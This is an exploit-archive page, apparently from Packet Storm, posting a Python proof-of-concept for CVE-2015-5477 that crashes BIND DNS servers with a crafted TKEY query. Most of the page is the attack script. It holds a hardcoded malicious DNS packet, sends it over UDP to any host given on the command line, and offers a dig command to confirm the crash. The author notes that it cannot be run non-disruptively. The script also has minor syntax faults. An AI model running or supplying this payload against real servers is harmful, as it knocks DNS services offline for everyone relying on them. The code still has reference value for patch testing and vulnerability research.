Exploit the possiblities

BIND TKEY Query Denial Of Service

BIND TKEY Query Denial Of Service
Posted Jul 31, 2015
Authored by Lorenzo Corsini

BIND TKEY query remote denial of service proof of concept exploit.

tags | exploit, remote, denial of service, proof of concept
advisories | CVE-2015-5477
MD5 | 8118c2899f9813a35af49b81b71d6589

BIND TKEY Query Denial Of Service

Change Mirror Download
#!/usr/bin/python
# Title: BIND Remote DoS via TKEY queries
# aka: DNS TKEY Query of Death
# Author: Lorenzo Corsini <serdat>
# E-Mail: serdat5[at]gmail[dot]com
# Twitter: https://twitter.com/serdat5tm

# References:
# https://kb.isc.org/article/AA-01272
# https://www.isc.org/blogs/about-cve-2015-5477-an-error-in-handling-tkey-queries-can-cause-named-to-exit-with-a-require-assertion-failure/

# Warning there is no way to use this PoC in a non-desruptive manner.
# Use with care. I'm not responsible for what you'll do with that

import socket
import sys

#Not randomized.
DNS_PACKET='\x04X\x00\x80\x00\x01\x00\x01\x00\x00\x00\x01\x03xxx\x00\x00\xf9\x00\xff\x03xxx\x00\x00\xf9\x00\xff\x00\x00\x00\x00\x00%\x03xxx\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x00\x00\x03xxx\x00\x00\x10\x00\xff\x00\x00\x00\x00\x00%$aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'

try:
HOST=sys.argv[1]
PORT= 53
except:
print "Usage: %s host_to_crash" & sys.argv[0]
sys.exit(-1)

print "Exploiting target at %s" % HOST

s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.sendto(DNS_PACKET,(HOST,PORT))
s.close()

print "Check Manually if the exploit worked... try launching:"
print "dig @%s CR4SH3D any" % HOST

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    22 Files
  • 2
    Nov 2nd
    28 Files
  • 3
    Nov 3rd
    10 Files
  • 4
    Nov 4th
    1 Files
  • 5
    Nov 5th
    5 Files
  • 6
    Nov 6th
    15 Files
  • 7
    Nov 7th
    15 Files
  • 8
    Nov 8th
    13 Files
  • 9
    Nov 9th
    9 Files
  • 10
    Nov 10th
    9 Files
  • 11
    Nov 11th
    3 Files
  • 12
    Nov 12th
    2 Files
  • 13
    Nov 13th
    15 Files
  • 14
    Nov 14th
    17 Files
  • 15
    Nov 15th
    19 Files
  • 16
    Nov 16th
    15 Files
  • 17
    Nov 17th
    19 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close